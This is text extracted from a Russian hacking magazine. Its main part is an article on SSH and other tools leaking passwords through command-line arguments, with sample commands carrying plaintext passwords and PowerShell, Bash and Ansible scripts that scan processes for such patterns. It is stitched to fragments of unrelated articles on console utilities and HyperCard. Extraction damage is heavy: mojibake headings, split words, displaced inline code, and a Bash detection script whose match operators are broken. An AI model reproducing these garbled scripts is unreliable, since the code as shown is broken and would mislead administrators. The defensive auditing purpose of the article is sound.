потому, что в слу чае раз рыва соеди нения кли ент ская опе раци онка может
под виснуть, что неп рият но. Параметр 

 поз воля ет под клю чать ся по клю чу.

reconnect,ServerAliveInterval=5

ssh_command='ssh -i ~/.ssh/
id_rsa'

ÇÀÊËÞ×ÅÍÈÅ

В кон соли мож но делать если не всё, то очень мно гое. Нап ример, я слу шаю
музыку через кон соль ный про игры ватель , интерфейс которо го напоми -

нает Norton Commander, FAR и mc.

mocp

В Linux из кон соли мож но управлять и любыми нас трой ками. В том чис ле,
нап ример, энер гопот ребле нием. Для эко номии энер гии ноут бука можем сни -
зить час тоту про цес сора вот такой коман дой:

sudo cpupower frequency-set -g powersave

А ког да нуж но будет быс тро дей ствие, исправь  на .powersave performance
Про дол жать перечис ление мож но бес конеч но. Одна ко моей целью было

ско рее показать раз нооб разие вещей, которые мож но делать из коман дной
стро ки, вдох новить при мера ми и рас ска зать, как мож но авто мати зиро вать
дей ствия при помощи ути лит коман дной стро ки — как стан дар тных, так и не
очень. Сво ими любимы ми трю ками (помимо рекур сивно го уда ления фай лов
из кор невой дирек тории) при зываю делить ся в ком ментах!

Еще боль ше ути лит коман дной стро ки ты най дешь в сери ях ста тей «Магия
кон соли» и «Мас тер ская хакера»:
• Ма гия кон соли. Под бира ем полез ные ути литы для работы в тер минале
• Ма гия кон соли 2. Запаса емся инс тру мен тами на все слу чаи жиз ни
• Мас тер ская хакера. Под борка полез ных инс тру мен тов для Windows и Linux
• Мас тер ская хакера. Собира ем ути литы, которые облегчат жизнь и работу
• Мас тер ская хакера. 13 ути лит для Linux, которые при годят ся адми ну
• Мас тер ская хакера. ИИ-помощ ники, работа с JSON и при ятные мелочи,

которые при годят ся в работе

https://usage.imagemagick.org/text/
https://usage.imagemagick.org/text/
https://usage.imagemagick.org/distorts/
https://usage.imagemagick.org/compose/
https://usage.imagemagick.org/
https://usage.imagemagick.org/text/
https://usage.imagemagick.org/annotating/
https://usage.imagemagick.org/annotating/
https://usage.imagemagick.org/distorts/
https://usage.imagemagick.org/compose/
https://usage.imagemagick.org/compose/
https://github.com/cslarsen/jp2a
https://github.com/5881/imagemagick-ffmpeg_scripts
https://xakep.ru/2021/06/08/console-utilities/
https://xakep.ru/2021/09/30/console-utilities-2/
https://xakep.ru/2021/11/15/hacker-tools-windows-linux/
https://xakep.ru/2022/05/05/hacker-tools-more/
https://xakep.ru/2022/09/29/13-linux-tools/
https://xakep.ru/2023/02/17/hacker-tools-6/
https://xakep.ru/2023/02/17/hacker-tools-6/
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АДМИН

SSH обес печива ет шиф рование и аутен -
тифика цию, но даже с ним воз можны уяз -
вимос ти, нап ример переда ча пароля
в откры том виде через парамет ры команд.
В статье раз берем, почему это опас но,
пос мотрим при меры уте чек, пред ложим
скрип ты и методы для обна руже ния и пре -
дот вра щения этой угро зы.

От дель ное вни мание уде лим инс тру мен там, час то исполь зуемым адми нис -
тра тора ми (PuTTY Connection Manager, SuperPuTTY, mRemoteNG, WinSCP CLI,
plink, pscp, rsync, sshpass и дру гим), и рекомен даци ям по безопас ной работе.

Â ×ÅÌ ÎÏÀÑÍÎÑÒÜ

Пе реда ча пароля через аргу мен ты коман дной стро ки озна чает, что сек -
ретный пароль фак тичес ки «зашит» в текст коман ды. Нес мотря на то что сама
SSH-сес сия шиф рует дан ные при переда че по сети, пароль, ука зан ный
в парамет рах, оста ется видимым на локаль ном компь юте ре.

Глав ная угро за в том, что такой пароль может быть лег ко про читан пос -
торон ними про цес сами или поль зовате лями на той же сис теме. В опе раци -
онных сис темах семей ства Unix/Linux любой поль зователь по умол чанию
может прос мотреть спи сок про цес сов и коман дные стро ки, с которы ми они
запуще ны (нап ример, с помощью команд ps или через чте ние фай лов 

). Ана логич но в Windows дис петчер задач или ути литы

вро де Process Explorer поз воля ют уви деть пол ную коман дную стро ку запущен -
ных про цес сов.

/
proc/[PID]/cmdline

Дру гими сло вами, если адми нис тра тор запус кает ути литу с ука зани ем
пароля в явном виде, этот пароль может попасть в исто рию коман дной обо -
лоч ки или отоб разить ся в спис ке про цес сов, дос тупном для прос мотра
локаль ными поль зовате лями. В резуль тате зло умыш ленник, име ющий огра -
ничен ный дос туп к сис теме (либо дру гой поль зователь на том же сер вере,
либо вре донос ное ПО), может незамет но про читать пароль из коман дной
стро ки.

Это под рыва ет саму суть SSH-авто риза ции: пароль, может быть, и не
переда ется в откры тую по сети, но хра нит ся в откры том виде на сто роне кли -
ента.

Ад минис тра торы час то исполь зуют надс трой ки и ути литы для удоб ной
работы с SSH: нап ример, GUI-менед жеры сес сий (PuTTY CM, SuperPuTTY,
mRemoteNG), инс тру мен ты авто мати зации фай ловых тран сфе ров (WinSCP,
psftp, pscp), скрип товые обер тки (plink, sshpass) и даже коман ды резер вно го
копиро вания (rsync с паролем). Все эти средс тва пре дос тавля ют воз -
можность ука зать пароль в парамет рах коман дной стро ки, что оди нако во
опас но.

Ав торы докумен тации sshpass, нап ример, под черки вают, что подоб ный
спо соб аутен тифика ции небезо пасен и не рекомен дует ся, так как пароли
переда ются или хра нят ся в виде откры того тек ста. В целом любая прог рамма,
при нима ющая пароль через аргу мент коман дной стро ки, потен циаль но уяз -
вима, если исполь зовать эту воз можность.

ÊÀÊ ÓÒÅÊÀÞÒ ÏÀÐÎËÈ

В дис петче ре задач Windows мож но опре делить, что про цесс PuTTY (psftp)
запущен с опци ей -pw и с явным ука зани ем пароля. В таком слу чае пароль
сох раня ется в откры том виде в коман дной стро ке про цес са. Это наг лядно
под твержда ет, что любые пароли, передан ные через парамет ры, могут быть
про чита ны из спис ка про цес сов локаль ной сис темой.

Точ но так же в Linux дос таточ но выпол нить коман ду вро де 

или прос мотреть файл , что бы уви деть всю коман дную
стро ку активно го про цес са. К при меру, адми нис тра тор может выпол нить
такую коман ду:

ps -ef
/proc/<PID>/cmdline

sshpass -p 'P@ssw0rd' ssh user@server.example.com

Тог да дру гой поль зователь на этом же хос те может выпол нить 

 и обна ружить в выводе стро ку с ука зан ным паролем.

ps aux |
grep sshpass

В жур нале Red Hat при водит ся пре дуп режде ние:

« »
Âñå ñëó ÷àè ïðå äîñ òàâëå íèÿ ïàðîëÿ â êîìàí äíîé ñòðî êå âêëþ ÷àþò ðèñê
òîãî, ÷òî ïàðîëü áóäåò çàõ âà÷åí â èñòî ðèè îáî ëî÷ êè ïîëü çîâàòå ëÿ
èëè áóäåò âèäåí âñåì ñèñ òåìíûì ïîëü çîâàòå ëÿì â ñïèñ êå ïðî öåñ ñîâ.

До кумен тация PuTTY так же отме чает, что опция  дела ет пароль видимым

для дру гих локаль ных поль зовате лей (нап ример, через коман ду ) и не
рекомен дует ся к исполь зованию.

-pw
w

Эта проб лема каса ется не толь ко sshpass и PuTTY. Ути литы plink, pscp,
psftp (вхо дящие в сос тав PuTTY) при нима ют параметр 

для авто мати зации вхо да и таким обра зом отоб ража ют пароль в памяти про -
цес са.

-pw <пароль>

В Linux такой пароль мож но получить, прос мотрев коман дную стро ку про -
цес са через . В Windows ситу ация похожая: нес коль ких кли ков в дис -
петче ре задач дос таточ но, что бы уви деть пол ный запуск про цес са вмес те
с передан ным паролем. WinSCP в коман дном режиме поз воля ет переда вать
пароль через ключ , что тоже дела ет этот пароль

видимым локаль но. Адми нис тра тор WinSCP пре дуп режда ет, что такой спо соб
небезо пасен.

/proc

/password=<пароль>

Да же инс тру мен ты, не свя зан ные нап рямую с SSH, под верже ны этой
проб леме. Нап ример, кли ент MySQL поз воля ет ука зать пароль через
параметр  или корот кий : при таком исполь зовании MySQL

выводит пре дуп режде ние: «Using a password on the command line interface can
be insecure» (исполь зование пароля в коман дной стро ке может быть небезо -
пас но). При чина все та же — пароль может быть перех вачен локаль но, пока
про цесс выпол няет ся.

--password= -p

Хо тя некото рые сов ремен ные прог раммы пыта ются очис тить или скрыть
пароль в аргу мен тах пос ле запус ка, пол ностью полагать ся на это нель зя.
Всег да сущес тву ет корот кий про межу ток вре мени, ког да пароль виден
в памяти про цес са и может быть про читан пос торон ними. Кро ме того, спис ки
про цес сов неред ко собира ются сис темами монито рин га и жур налиро вания,
поэто му пароль, даже исполь зован ный в быс тром одно разо вом про цес се,
может сох ранить ся в логах ауди тора или монито рин га.

Вы вод прос той: 

. Ниже я рас ска жу, как выявить такие слу чаи и какие меры при нять,

что бы это го избе жать.

ïå ðåäà âàÿ ïàðîëü ÷åðåç àðãó ìåí òû êîìàíä, òû

ôàê òè÷åñ êè äåëà åøü åãî îòêðû òî äîñ òóïíûì íà ëîêàëü íîé

ìàøèíå

ÈÙÅÌ ÓÒÅ×ÊÈ ÏÀÐÎËÅÉ Â ÏÐÎÖÅÑÑÀÕ WINDOWS

Ад минис тра торы Windows могут вос поль зовать ся PowerShell для ска ниро -
вания запущен ных про цес сов и обна руже ния тех, в коман дных стро ках
которых при сутс тву ют подоз ритель ные парамет ры, похожие на пароли.

Для это го нуж но зап рашивать у сис темы коман дные стро ки про цес сов
(атри бут  клас са ) и искать в них извес тные клю чи

или пат терны (нап ример,  , , ,  и тому подоб ные).
Ниже при веден скрипт на PowerShell, который мож но запус тить вруч ную
на отдель ной сис теме для выяв ления таких слу чаев:

CommandLine Win32_Process
-p -pw --password /password=

    $insecureProcs = Get-CimInstance Win32_Process |
   Where-Object {
    ($_.CommandLine -match '-p\s') -or     # найдены '-p '
    ($_.CommandLine -match '-pw\s') -or    # найдены '-pw '
    ($_.CommandLine -match '--password=') -or # найдены '--password='
    ($_.CommandLine -match '/password=')    # найдены '/password='
  } |
  Select-Object ProcessId, Name, CommandLine

if ($insecureProcs) {
  Write-Host "Обнаружены процессы с потенциальной утечкой пароля:"
  $insecureProcs | Format-Table -AutoSize
} else {
  Write-Host "Не найдено процессов с паролями в командной строке."
}

Этот скрипт выводит таб лицу с иден тифика тором про цес са, име нем и пол ной
коман дной стро кой для каж дого най ден ного слу чая. В филь тре усло вия 

 исполь зуют ся регуляр ные выраже ния для поис ка раз личных спо собов

переда чи пароля. Здесь мы про веря ем наличие подс трок  (дефис p и про -

бел),  , а так же  и . Эти шаб лоны охва тыва ют
типич ные клю чи, исполь зуемые раз ными ути лита ми (sshpass, plink/pscp,
WinSCP, MySQL и дру гими). При необ ходимос ти спи сок мож но рас ширить
или уточ нить.

-
match

-p
-pw --password= /password=

Âåðñèÿ äëÿ SCCM
Ес ли нуж но выпол нить подоб ную про вер ку цен тра лизо ван но на мно гих
машинах через System Center Conguration Manager (SCCM) или ана логич ную
сис тему, мож но адап тировать скрипт. Нап ример, SCCM-скрипт про вер ки
может воз вра щать код выпол нения или вывод, на осно вании которо го сис -
тема сде лает вывод о соот ветс твии полити ки.

Ни же при веден вари ант, который в слу чае обна руже ния небезо пас ного
про цес са завер шится кодом 1 (несо ответс твие), а при отсутс твии — кодом 0
(все чис то):

  $found = $false
  Get-CimInstance Win32_Process |

   Where-Object {
    ($_.CommandLine -match '-p\s') -or
    ($_.CommandLine -match '-pw\s') -or
    ($_.CommandLine -match '--password=') -or
    ($_.CommandLine -match '/password=')
  } |
  ForEach-Object {
    $found = $true
    # Запись в лог при необходимости:
    "$($_.ProcessId): $($_.Name) $($_.CommandLine)" | Out-File "C:\\
temp\\insecure_procs.log" -Append
  }
if ($found) { exit 1 } else { exit 0 }

Этот сце нарий переби рает про цес сы, записы вает обна ружен ные слу чаи (PID,
имя, коман ду) в локаль ный лог-файл и уста нав лива ет флаг . В кон це
скрип та воз вра том  он может сиг нализи ровать SCCM о проб леме.

$found
exit 1

Ад минис тра тор SCCM может нас тро ить соот ветс тву ющее пра вило,
помеча ющее машину как Non-compliant (не соот ветс тву ющую тре бова ниям
безопас ности), если скрипт вер нул 1, что поз волит быс тро выявить сис темы,
где кто-то исполь зует небезо пас ные спо собы переда чи паролей.

ÈÙÅÌ ÓÒÅ×ÊÈ ÏÀÐÎËß Â LINUX

В Linux подоб ную про вер ку мож но выпол нить с помощью скрип та на Bash,
ана лизи руя вывод коман ды ps или содер жимое дирек торий 

. Скрипт дол жен выпол нять ся с пра вами, дос таточ ными для прос -

мотра про цес сов всех поль зовате лей (нап ример, от име ни root), ина че он
уви дит толь ко свои про цес сы.

/proc/<PID>/
cmdline

Ни же при веден при мер Bash-скрип та, который ищет активные про цес сы
с приз наками переда чи пароля через аргу мен ты коман дной стро ки:

#!/bin/bash
 echo "Проверка процессов на наличие паролей в командной строке..."

ps  |  -eo pid,user,command --no-header while read PID USER CMD; do
  # Ищем известные шаблоны небезопасных ключей в команде процесса
    # Пробел -p пробел
     ~  if [[ "$CMD" = [[:space:]]-p[[:space:]] ]] ||
     # Пробел -pw пробел

 ~     [[ "$CMD" = [[:space:]]-pw[[:space:]] ]] ||
     # Присутствует --password=

 ~      [[ "$CMD" = --password= ]] ||
     # Присутствует /password=

      [[ "$CMD" =~ /password= ]] ||
     # Шаблон user:pass@ в URL

 ~     [[ "$CMD" = [[:alnum:]]+://[^[:space:]]+:[^[:space:]]+@ ]]; then
   echo "PID=$PID, USER=$USER, CMD=$CMD"

  fi
done

Скрипт пос троч но чита ет информа цию о про цес се (PID, поль зователь, коман -
да) и с помощью условных конс трук ций  про веря ет

наличие подоз ритель ных пат тернов:

[[ ... =~ ... ]]

 или  — типич ные парамет ры sshpass, plink/pscp;• -p -pw
 — параметр у мно гих ути лит (нап ример, 

);
• --password= mysql --
password=...

 — параметр WinSCP или дру гих прог рамм;• /password=
шаб лон  — на слу чай, если в коман де встре чают ся URL
с откры тым паролем (нап ример, 
или вызовы smbclient с учет ными дан ными).

• ://user:pass@
ftp://user:password@host

При обна руже нии сов падения выводит ся стро ка с деталя ми: PID про цес са,
поль зователь и пол ная коман дная стро ка (которая содер жит пароль). Резуль -
тат про вер ки мож но перенап равить в лог или обра ботать ина че. Если скрипт
ничего не выводит, зна чит, подоз ритель ных про цес сов не обна руже но.

Скрипт ищет толь ко  про цес сы.
Пароль, передан ный момен таль но и уже отра -
ботав ший (нап ример, быс тро отра ботав ший
sshpass), может не попасть в выбор ку. Для более
деталь ного ана лиза мож но прос матри вать исто -
рию команд (в фай лах вро де 

) или жур налы запус ка задач
(нап ример, логи cron), одна ко это выходит
за рам ки прос того ска ниро вания про цес сов.

ак тивные

~/.
bash_history

ÏÐÎÂÅÐßÅÌ ÕÎÑÒÛ ÍÀ LINUX Ñ ÏÎÌÎÙÜÞ ANSIBLE

Ког да нуж но про верить сра зу мно го Linux-сер веров на пред мет исполь -
зования небезо пас ных ути лит с пароля ми, удоб нее авто мати зиро вать
это через сис тему управле ния кон фигами, такую как Ansible.

С помощью Ansible мож но запус тить про вер ку, которую мы обсужда ли
выше, на груп пе сер веров и соб рать резуль таты цен тра лизо ван но. Ниже при -
веден фраг мент плей бука Ansible, который выпол няет такую про вер ку на всех
целевых узлах:

  - name: Проверка процессов на передачу пароля в командной строке
   hosts: all
   become: yes

   gather_facts: no
  tasks:

     - name: Ищем подозрительные процессы
       shell: |

        ps -eo pid,user,command --no-header | grep -E "[[:space:]]-p 
|[[:space:]]-pw |--password=|/password=|://. +:.*@"
      register: proc_check
      ignore_errors: yes

    - name: Выводим результаты для хоста {{ inventory_hostname }}
      debug:
        msg: "{{ inventory_hostname }}: Найдено небезопасных 
процессов: {{ proc_check.stdout_lines | length }}"
    - name: Детали обнаруженных процессов ({{ inventory_hostname }})
      debug:
        msg: "{{ proc_check.stdout_lines }}"
      when: proc_check.stdout and proc_check.stdout != ""

Что дела ет этот плей бук? Он про ходит по всем узлам ( ), под нима -

ет при виле гии до root ( ) и выпол няет коман ду, ана логич ную
нашей bash-про вер ке с помощью модуля shell.

hosts: all
become: yes

Конс трук ция  ищет в выводе ps задан ные регуляр ные выраже ния

(здесь для крат кости записа ны под ряд через вер тикаль ную чер ту). Резуль тат
коман ды сох раня ется в перемен ную . Далее через задачи 

плей бук выводит:

grep -E

proc_check debug

об щее количес тво най ден ных подоз ритель ных про цес сов на каж дом хос -
те;

•

са ми стро ки команд, если они най дены (выводит ся спи сок строк
).

•
proc_check.stdout_lines

Та кой плей бук при запус ке покажет для каж дого сер вера, есть ли запущен ные
про цес сы с явны ми пароля ми. Нап ример, вывод может ука зать, что на сер -
вере X обна ружен про цесс 

, что явно сиг нализи рует о проб леме. Адми нис тра тор, получив отчет
Ansible, смо жет опе ратив но свя зать ся с ответс твен ными за этот сер вер
и устра нить небезо пас ный скрипт.

sshpass -p SuperSecret ssh backup@backup-
server

Ра зуме ется, плей бук мож но дорабо тать, нап ример вмес то вывода
на экран резуль таты могут записы вать ся в отчетный файл либо мож но сра зу
помечать хост как . Одна ко при веден ного при мера дос таточ -

но, что бы раз вернуть про вер ку на десят ках и сот нях машин одновре мен но.

non-compliant

ÓßÇÂÈÌÛÅ ÑÖÅÍÀÐÈÈ È ÏÐÈÌÅÐÛ

Важ но знать, в каких ситу ациях адми нис тра торы или авто мати зация чаще
все го допус кают переда чу пароля через коман дную стро ку. Ниже перечис -
лены нес коль ко типич ных уяз вимых сце нари ев.

CI/CD-êîíâåéåðû è ñêðèïòû ðàçâåðòûâàíèÿ
В сис темах неп рерыв ной интегра ции/раз верты вания (Jenkins, GitLab CI,
TeamCity и про чих) иног да пишут шаги, где для дос тупа к уда лен ным сер верам
исполь зуют ся ути литы типа sshpass или plink с паролем в аргу мен тах. Нап -
ример, пай плайн, авто мати чес ки деп лоящий при ложе ние на сер вер по SSH,
может содер жать стро ку с паролем. Такой пароль попадет в логи сбор ки,
дос тупные дру гим учас тни кам коман ды, и потен циаль но сох ранит ся на кон -
трол лере CI/CD.

Ðåçåðâíîå êîïèðîâàíèå è batch-ñêðèïòû
Сце нарии бэкапа, запус каемые по рас писанию (cron job на Linux или задания
пла ниров щика Windows), иног да исполь зуют ути литы коман дной стро ки
для копиро вания дан ных на уда лен ный сер вер. Если для это го при менен, ска -
жем, pscp или rsync с ука зани ем пароля через парамет ры, то пароль будет
виден каж дому, кто прос мотрит информа цию о запущен ном про цес се (а
такие задачи могут выпол нять ся дли тель но, уве личи вая окно экспо зиции).

Ана логич но скрип ты резер вно го копиро вания баз дан ных могут вызывать
, из-за чего пароль от БД ока жет ся в памяти про -

цес са и кон соль ных логах.

mysqldump --password=...

Ñöåíàðèè àâòîìàòèçàöèè è îáñëóæèâàíèÿ
Ад минис тра торы неред ко пишут собс твен ные скрип ты для авто мати зации
(нап ример, на bash, PowerShell или Python), в которых для удобс тва жес тко
про писы вают пароль в коман ду. Нап ример, скрипт обновле ния нес коль ких
сер веров, который по SSH выпол няет коман ды, или скрипт мас сового
копиро вания фай лов.

Ес ли такие скрип ты переда ют пароль нап рямую ути лите, то каж дая их сес -
сия несет риск ком про мета ции пароля. На сорев новани ях по кибер безопас -
ности и в реаль ных ата ках десят ки дей ству ющих паролей находи лись имен но
через ана лиз запущен ных про цес сов и содер жимого сце нари ев авто мати -
зации.

CI/CD- è DevOps-èíñòðóìåíòû ñ ïëàãèíàìè
Не кото рые инс тру мен ты, если нас тро ены неп равиль но, могут логиро вать сек -
реты. Нап ример, пла гин для деп лоя, вызыва ющий коман ду SSH с паролем,
может вывес ти эту коман ду в кон соль. Это дела ет пароль видимым не толь ко
локаль но, но и в цен тра лизо ван ных логах сис темы сбор ки.

Óäàëåííûé äîñòóï è RDP-êîíñîëèäàòîðû
Хо тя мы тут говорим пре иму щес твен но об SSH, упо мянем, что похожий прин -
цип отно сит ся и к дру гим средс твам дос тупа. Нап ример, запуск ути литы
Remote Desktop с паролем через коман дную стро ку (в стан дар тном mstsc
такого клю ча нет, но сущес тву ют сто рон ние кон соли) или исполь зование
менед жеров, хра нящих пароли, может при вес ти к утеч ке.

Не кото рые GUI-кли енты (вро де mRemoteNG, MobaXterm) могут сох ранять
пароли локаль но в незащи щен ном виде или переда вать их внеш ним ути -
литам, хотя и не через явный аргу мент, но через вре мен ные фай лы
или парамет ры коман дной стро ки. Это так же тре бует вни мания, хотя
механиз мы нес коль ко иные.

ÍÅÁÅÇÎÏÀÑÍÛÅ ÈÍÑÒÐÓÌÅÍÒÛ

Я уже перечис лил некото рые инс тру мен ты, переда ющие пароль в аргу мен тах
команд, прой дем ся теперь по рас ширен ному спис ку.

PuTTY è ïðîèçâîäíûå
Сре ди них plink, pscp, psftp, а так же фор ки PuTTY вро де KiTTY — все они име -
ют параметр  для пароля и под верже ны опи сан ной уяз вимос ти. PuTTY

Connection Manager и SuperPuTTY — надс трой ки, которые при сох ранении
паролей могут запус кать PuTTY/plink с эти ми пароля ми, делая их видимы ми
локаль но.

-pw

WinSCP (CLI)
В коман дном режиме winscp.exe поз воля ет ука зать  в URL

соеди нения или аргу мен те. Как кто-то писал на форуме раз работ чиков, этот
пароль будет отоб ражен в Task Manager, поэто му рекомен дует ся исполь -
зовать дру гие методы (нап ример, хра нение в фай ле нас тро ек или новов -
веден ный ключ ).

/password=...

/passfile

Rsync ïðè ïðÿìîì ïîäêëþ÷åíèè ê äåìîíó
Обыч но rsync исполь зует ся поверх SSH, при работе с уда лен ным rsync-сер -
вером (про токол ) при меня ют перемен ную окру жения

 или параметр . В ста рых реали заци ях мог

встре чать ся параметр , что, как и в дру гих слу чаях, недопус тимо:

пароль дол жен либо быть в фай ле (с пра вами 600), либо вов се не исполь -
зовать ся, а вмес то это го дол жна быть нас тро ена аутен тифика ция клю чами.

rsync://
RSYNC_PASSWORD --password-file

--password

Sshpass
Это спе циали зиро ван ная ути лита для авто мати чес кой переда чи пароля
по SSH. Она под держи вает нес коль ко спо собов задать пароль: через аргу -
мент , через файл ( ) или через перемен ную окру жения ( ).-p -f -e

Ар гумент  в sshpass пря мо встав ляет пароль в коман ду и наибо лее опа -

сен. Исполь зование  и  чуть безопас нее, так как не оставля ет пароль

в спис ке про цес сов (но могут воз никнуть дру гие рис ки: нап ример, файл
с паролем дол жен быть защищен пра вами дос тупа). Мно гие дис три бути вы
Linux даже не уста нав лива ют sshpass по умол чанию, а полити ки безопас ности
зап реща ют его при мене ние из-за опи сан ных рис ков.

-p
-f -e

FTP-êëèåíòû è óòèëèòû äëÿ äðóãèõ ïðîòîêîëîâ
FTP-кли енты для коман дной стро ки (нап ример, клас сичес кая коман да ftp
или ути лита lftp) поз воля ют авто мати зиро вать ввод пароля, но, если кто-то
передаст пароль как параметр или в скрип те нап рямую, он может быть виден.
Нап ример, коман да  запус тит про цесс

с отоб ражени ем  в спис ке аргу мен тов. Инс тру мен ты
для SMB/CIFS — нап ример, 

 — так же встав ляют пароль пос ле сим вола про цен та

в коман дной стро ке, что лег ко чита ется локаль но.

lftp -u user,password ftp://host
user,password

smbclient "//сервер/ресурс" -U
пользователь%пароль

Óòèëèòû áàç äàííûõ
Мно гие кон соль ные кли енты баз дан ных при нима ют пароль через аргу мент.
Кли ент MySQL/MariaDB (mysql, mysqldump) — через  (или 

), PostgreSQL пред лага ет избе гать это го и исполь зовать перемен ную

окру жения  или файл .pgpass. Если адми нис тра тор скрип том

запус кает, нап ример, 
, то стро ка с паролем будет вид на всем про цес сам и поль зовате -

лям, а сам MySQL при этом явно ука зыва ет на небезо пас ность такого под -
хода пре дуп режде нием.

--password=... -
p...

PGPASSWORD
mysqldump -u backup --password=Secr3t dbname >

backup.sql

cURL, Wget è äðóãèå HTTP-êëèåíòû
Ес ли URL содер жит учет ные дан ные (нап ример, ),
они тоже ста новят ся частью коман дной стро ки. Вызов 

 отоб разит  в аргу мен тах про цес са.

Хотя HTTPS шиф рует переда чу, пароль до шиф рования при сутс тву ет в памяти
про цес са и может утечь локаль но. Луч ше исполь зовать токены или переда -
вать пароль через инте рак тивный зап рос либо кон фигура цион ный файл.

http://user:pass@domain
curl -u user:pass

https://api.example.com user:pass

Ïðî÷èå óòèëèòû
Сю да мож но отнести кли енты Telnet, если ими еще кто-то поль зует ся (они
иног да име ют параметр для пароля), ста рые коман ды вро де rlogin и rsh (где
пароль нель зя передать нап рямую, но сам про токол небезо пасен) и даже
некото рые архи вато ры и шиф роваль щики, которые могут при нимать пароль
архивно го фай ла через аргу мент (в таком слу чае пароль архи ва тоже может
быть виден). Всег да, ког да прог рамма пред лага ет параметр для пароля
или клю ча дос тупа, сле дует нас торожить ся и пред почесть более безопас ную
аль тер нативу.

ÊÀÊ ÎÁÅÇÎÏÀÑÈÒÜ ÑÅÁß

В зак лючение при веду ряд рекомен даций, соб людение которых поможет
избе жать рас смат рива емой проб лемы и в целом повысит безопас ность
при исполь зовании SSH и дру гих ути лит:

Это глав ное пра вило. Если ути лита под держи вает такой вари ант —
не исполь зуй его. Пароль, передан ный через аргу мент, сле дует счи тать
ском про мети рован ным, пос коль ку он мог быть перех вачен локаль но.
Вмес то это го ищи дру гие спо собы авто мати зации аутен тифика ции.

• Íè êîã äà íå ïåðåäà âàé ïàðîëè ÷åðåç ïàðàìåò ðû êîìàí äíîé ñòðî êè.

 Для авто -
мати зации SSH-под клю чений наилуч шая прак тика — это переход на клю -
чевую аутен тифика цию. Сге нери руй пару клю чей, уста нови пуб личный
ключ на сер вере, а при ват ный ключ хра ни у себя. При необ ходимос ти его
мож но защитить пароль ной фра зой. Тог да скрип ты могут выпол нять SSH
без зап роса пароля, и при этом не нуж но ниг де про писы вать сек реты.
SSH-клю чи прак тичес ки исклю чают риск утеч ки в про цес сы, а так же
не под верже ны перебо ру (в отли чие от сла бых паролей).

• Èñ ïîëü çóé SSH-êëþ ÷è ñ àãåí òîì èëè áåñ ïàðîëü íîé ôðà çîé.

 Если исполь -

зование пароля неиз бежно (нап ример, для ути литы, где нель зя задей ство -
вать клю чи), хра ни и переда вай его безопас но с помощью менед жера
паролей («Один Ключ», «Пас сворк», BearPass).

• Ïðè ìåíÿé ìåíåä æåðû ïàðîëåé è õðà íèëè ùà ñåê ðåòîâ.

 Вклю чи про вер ку на небезо -

пас ное исполь зование паролей в про цес сы стан дар тно го ауди та безопас -
ности. Такие утеч ки мож но ска ниро вать авто мати чес ки. Регуляр ный аудит
(нап ример, раз в неделю или пос тоян но через монито ринг) поз волит быс -
тро выяв лять слу чаи, ког да кто-то из сот рудни ков запус кает зап рещен ные
ути литы или переда ет пароль откры то. Отче ты ауди та мож но нас тро ить
на уве дом ление служ бы безопас ности или ответс твен ных адми нис тра -
торов.

• Ðå ãóëÿð íî ïðî âîäè àóäèò è ìîíèòî ðèíã.

 На уров не полити ки ком пании мож но при нять спи сок зап -

рещен ных к исполь зованию инс тру мен тов (той же sshpass или опций типа
PuTTY ).

• Çàï ðåùàé è îãðà íè÷è âàé èñïîëü çîâàíèå íåáåçî ïàñ íûõ óòè ëèò

è ïðàê òèê.

-pw

Зап рет мож но под кре пить исполь зовани ем сле дующих тех нологий:
 С ее помощью мож но зап ретить запуск

опре делен ных прог рамм (нап ример, AppLocker спо собен бло киро вать
sshpass.exe или winscp.com с парамет ром пароля). Так же мож но нас тро -
ить Windows Event Log Audit на запись события при запус ке опре делен ных
команд.

• GPO (Group Policy) â Windows.

 Убе дись, что обыч ные поль зовате ли

не име ют прав уста нав ливать или запус кать ути литы, которы ми они не дол -
жны поль зовать ся. Нап ример, на про дак шен-сер верах может быть
целесо образно вов се не иметь уста нов ленно го sshpass или WinSCP CLI.

• ACL è ïðà âà íà èñïîëíå íèå.

 Иног да про ще донес ти до IT-пер сонала,

что такие прак тики недопус тимы. Объ ясни раз работ чикам скрип тов
и DevOps-инже нерам, почему нель зя хар дко дить пароль в коман ду,
и пред ложи им аль тер натив ные под ходы.

• Èí ôîðìè ðîâà íèå è îáó ÷åíèå.

ÂÛÂÎÄÛ

Под водя итог: SSH оста ется надеж ным про токо лом, если соб людать пра вила,
исполь зовать надеж ные решения, нап ример рос сий ский  или зарубеж -
ные , ,  и дру гие.

МС22
SecureCRT MobaXterm Xshell

Проб лемы воз ника ют не из-за уяз вимос ти в SSH, а из-за ком про мис сов,
на которые идут люди ради удобс тва. Пароль, передан ный через коман дную
стро ку, перес тает быть тай ной — это рав носиль но нак леива нию сти кера
с паролем на монитор: канал свя зи по-преж нему шиф рован, но зло умыш -
ленни ку уже и не нужен перех ват тра фика, ког да пароль мож но под смот реть
у поль зовате ля. Сле дуй рекомен даци ям, исполь зуй клю чи и безопас ные хра -
нили ща, и тог да даже при авто мати зации ты сох ранишь уро вень безопас -
ности SSH-под клю чений.

• Ав томати зация паролей SSH в Linux с помощью sshpass
• Command line password le
• Provide SSH password non-interactively
• In PuTTY, Scripted Passwords are Exposed Passwords

mailto:vm@abp2b.com
https://xn--22-7lcu.xn--p1ai/
https://www.vandyke.com/products/securecrt/
https://mobaxterm.mobatek.net/plugins.html
https://www.netsarang.com/en/xshell/
https://lebco.ru/2022/07/20/ssh-%D0%B2-linux-%D1%81-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C%D1%8E-sshpass/
https://winscp.net/forum/viewtopic.php?t=31972
https://linuxcommandlibrary.com/man/sshpass
https://www.linuxjournal.com/content/putty-scripted-passwords-are-exposed-passwords
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Вай бко динг нын че в моде: берешь
какой-нибудь прод винутый инс тру мент вро -
де Cursor или Claude, и вот ты уже навай -
бко дил себе биз нес. Одна ко все новое,
как извес тно, хорошо почищен ное от пыли
ста рое: пер вую такую тех нологию при думал
один пок лонник пси ходе ликов еще сорок
лет назад, а поль зовались ей дру гие
любите ли  no-code дол гие годы.
Разуме ется, кру тилось оно на «маках». Если
ты никог да не слы шал о HyperCard, самое
вре мя ненадол го вер нуть ся в прош лое.

стран ного

У меня есть хоб би: я очень люб лю собирать  вин -
тажные компь юте ры, сре ди которых име ется древ ний, как хвост мамон та,

. Выис кивая по пыль ным
зако улкам интерне та полез ный софт для этой сис темы, однажды я совер -
шенно слу чай но обна ружил прог рамму под наз вани ем HyperCard. Эта уди -
витель ная наход ка ока залась не чем иным, как пра роди телем все го, что сей -
час гор до зовет ся no-code, — толь ко вот без это го душ ного сму зи-пафоса
и под писок за двад цать бак сов в месяц.

